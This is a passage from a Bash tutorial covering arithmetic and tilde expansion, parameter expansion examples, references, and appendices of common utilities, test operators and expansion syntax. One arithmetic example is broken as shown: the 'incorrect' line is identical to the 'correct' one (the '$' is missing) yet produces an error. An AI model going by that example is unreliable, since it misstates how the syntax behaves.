- `+`, `-`: addition and subtraction;
- `<<`, `>>`: left and right bitwise shifts;
- `<=`, `>=`, `<`, `>`, `==`, `!=`: comparison;
- `&`, `^`, `|`: bitwise AND, XOR and OR;
- `&&`, `||`: logical AND and OR;
- `<test>?<iftrue>:<else>`: if-else switch;

- `=`, `*=`, `%=`, `+=`, `-=`, `<<=`, `>>=`, `&=`, `^=`, `|=`: assignment;

Note that parameter expansion is performed before arithmetic evaluation. Therefore, variables that should be considered as variables should be entered without the expansion symbol `$`. Consider the following example:

```
$ x=3

$ echo $((x++)) # correct. x is treated as an arithmetic variable
3

$ echo $((x++)) # incorrect. x is expanded prior to arithmetic evaluation
bash: 4++: syntax error: operand expected (error token is "+")
```

10.4 Tilde expansion

Tilde expansion expands certain expressions starting with an unquoted tilde `~` into pre-defined values (directories):

- `~`: expands to the current user's home directory (`$HOME`);
- `~<user>`: expands to user `<user>`'s home directory if that user exists;
- `~+`: expands to the present working directory (`$PWD`);
- `~-`: expands to the previous working directory (`$OLDPWD`) if it is defined.

10.5 Advanced parameter expansion

Parameter expansions beyond simply substituting a parameter's value can be done in Bash. The list of possible parameter expansions is quite extensive, so for details see the table in the appendix or refer to the Bash manpage[5] for full detail.

```
$ x=$(echo {a..z} | tr -d ' ')

$ echo ${x}
abcdefghijklmnopqrstuvwxyz

$ echo ${#x} # length of $x
26

$ echo ${x^^[a-p]} # convert characters a-p to uppercase
ABCDEFGHIJKLMNOpqrstuvwxyz

$ echo ${x#a*[a-y]} # remove shortest prefix that matches a*[a-y]
cdefghijklmnopqrstuvwxyz

$ echo ${x:10:6} # offset by 10 and expand just 6 characters
klmnop
```

References

- [1] *Bash (Unix shell)*. Wikipedia.
[https://en.wikipedia.org/wiki/Bash_\(Unix_shell\)](https://en.wikipedia.org/wiki/Bash_(Unix_shell))
- [2] *8 Deadly Commands You Should Never Run on Linux*. 2017.
<https://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/>
- [3] *10 Most Dangerous Commands — You Should Never Execute on Linux*. Last updated 2015.
<https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/>
- [4] *Debian Reference*. 2018.
<https://www.debian.org/doc/manuals/debian-reference/>
- [5] *Bash(1) General Commands Manual*. Debian manpages. `man 1 bash`
<https://linux.die.net/man/1/bash>
- [6] *Process substitution*. Wikipedia.
https://en.wikipedia.org/wiki/Process_substitution

Appendix A: Common command line utilities

command	description
<code>awk</code>	A powerful text manipulator based on AWK language.
<code>bash</code> , <code>sh</code>	Shell.
<code>cat</code>	Concatenate files and print to stdout.
<code>cd</code>	Change the working directory.
<code>chmod</code>	Change permissions of files.
<code>chown</code>	Change ownership of files.
<code>cp</code>	Copy files and directories.
<code>dd</code>	Copy and convert data.
<code>diff</code>	Compare files line by line.
<code>echo</code> , <code>printf</code>	Print stuff to stdout.
<code>file</code>	Determine the file type (eg: PDF, text, JPG, ...).
<code>find</code>	Search for files in a directory.
<code>grep</code>	Print lines that match a regular expression.
<code>gzip</code>	Compress and decompress data.
<code>head</code>	Print the first few lines/bytes of a file.
<code>less</code> , <code>more</code>	View file content on screen.
<code>ln</code>	Create links (hard links and soft links) between files.
<code>ls</code>	List files.
<code>man</code>	View manpages.
<code>mkdir</code>	Create directories.
<code>mv</code>	Move and rename files.
<code>rm</code>	Remove files.
<code>sed</code>	A stream editor, which includes regular expression support.
<code>shred</code>	Overwrite files to hide their contents (secure deletion).
<code>sort</code>	Sort lines of text files.
<code>tail</code>	Print the last few lines/bytes of a file.
<code>tar</code>	An archiving utility that creates archives and extracts files.
<code>touch</code>	Change file timestamps.
<code>tree</code>	List directory content in a tree-like format.
<code>vim</code>	A powerful text editor well-suited to programming.
<code>xargs</code>	Build and execute commands from stdin.
<code>xxd</code> , <code>hexdump</code> , <code>hd</code>	Make a hexdump or do the reverse.

Appendix B: Bash conditional operators

expression	description	examples
(<code><condition></code>)	grouping	<code>! (-r a.txt -o -w a.txt)</code>
<code>! <condition></code>	logical NOT (negation)	<code>! -f b.txt</code>
<code><cond1> -a <cond2></code>	logical AND	<code>-f c.txt -a -r c.txt</code>
<code><cond1> -o <cond2></code>	logical OR	<code>-r d.txt -o -w d.txt</code>
<code>-n <string></code>	string non-zero length	<code>-n "\$x"</code>
<code>-z <string></code>	string empty	<code>-z "\$x"</code>
<code><str1> = <str2></code>	string equality	<code>"\$x" = "foo"</code>
<code><str1> != <str2></code>	string inequality	<code>"\$x" != "bar"</code>
<code><int1> -eq <int2></code>	integer equality	<code>"\$a" -eq 42</code>
<code><int1> -ne <int2></code>	integer inequality	<code>"\$a" -ne 7</code>
<code><int1> -gt <int2></code>	integer greater than	<code>"\$a" -gt 30</code>
<code><int1> -ge <int2></code>	integer greater/equal	<code>"\$a" -ge 42</code>
<code><int1> -lt <int2></code>	integer less than	<code>"\$a" -lt 50</code>
<code><int1> -le <int2></code>	integer less/equal	<code>"\$a" -le 42</code>
<code><file1> -ef <file2></code>	file inode/device equality	<code>hello.txt -ef hi.txt</code>
<code><file1> -nt <file2></code>	file newer (modification time)	<code>bye.txt -nt hello.txt</code>
<code><file1> -ot <file2></code>	file older (modification time)	<code>hello.txt -ot bye.txt</code>
<code>-e <file></code>	file exists	<code>-e hello.txt</code>
<code>-f <file></code>	regular file	<code>-f hello.txt</code>
<code>-d <file></code>	directory	<code>-d photos</code>
<code>-L <file></code>	symbolic link	<code>-L hi.txt</code>
<code>-b <file></code>	block device	<code>-b /dev/sda</code>
<code>-c <file></code>	character device	<code>-c /dev/null</code>
<code>-s <file></code>	file non-zero size	<code>-s hello.txt</code>
<code>-r <file></code>	file read permission granted	<code>-r hello.txt</code>
<code>-w <file></code>	file write permission granted	<code>-w hello.txt</code>
<code>-x <file></code>	file execute permission granted	<code>-x positional.sh</code>

Appendix C: Parameter expansions

expression	description
<code>\${<p>}</code>	The value of parameter <code><p></code> is substituted.
<code>\${<p>:-<word>}</code>	Use default value. If <code><p></code> is unset or empty, <code><word></code> is substituted.
<code>\${<p>:=<word>}</code>	Assign default value. If <code><p></code> is unset or empty, <code><word></code> is assigned and then substituted.
<code>\${<p>:+<word>}</code>	Use alternate value. If <code><p></code> is unset or empty, nothing is substituted, otherwise <code><word></code> is substituted.
<code>\${<p>:?<message>}</code>	Display error if unset or empty. If <code><p></code> is unset or empty, <code><message></code> is written to stderr.
<code>\${<p>:<offset>}</code>	Offsetted expansion. Expands characters starting at an offset of <code><offset></code> .
<code>\${<p>:<offset>:<length>}</code>	Offsetted expansion with length. Expands up to <code><length></code> characters starting at an offset of <code><offset></code> .
<code>\${#<p>}</code>	Parameter length. The length of the value is substituted.
<code>\${<p>#<pattern>}</code>	Remove matching prefix (conservative). The shortest matching prefix is removed upon substitution.
<code>\${<p>##<pattern>}</code>	Remove matching prefix (greedy). The longest matching prefix is removed upon substitution.
<code>\${<p>%<pattern>}</code>	Remove matching suffix (conservative). The shortest matching suffix is removed upon substitution.
<code>\${<p>%%<pattern>}</code>	Remove matching suffix (greedy). The longest matching suffix is removed upon substitution.
<code>\${<p>/<pattern>/<string>}</code>	Pattern substitution. The longest match of <code><pattern></code> against the parameter value is replaced with <code><string></code> .
<code>\${<p>^<pattern>}</code>	Convert to uppercase (first). The first character that matches the single-character pattern <code><pattern></code> is converted to uppercase.
<code>\${<p>^^<pattern>}</code>	Convert to uppercase (all). All characters that match the single-character pattern <code><pattern></code> are converted to uppercase.
<code>\${<p>, <pattern>}</code>	Convert to lowercase (first). The first character that matches the single-character pattern <code><pattern></code> is converted to lowercase.
<code>\${<p>,, <pattern>}</code>	Convert to lowercase (all). All characters that match the single-character pattern <code><pattern></code> are converted to lowercase.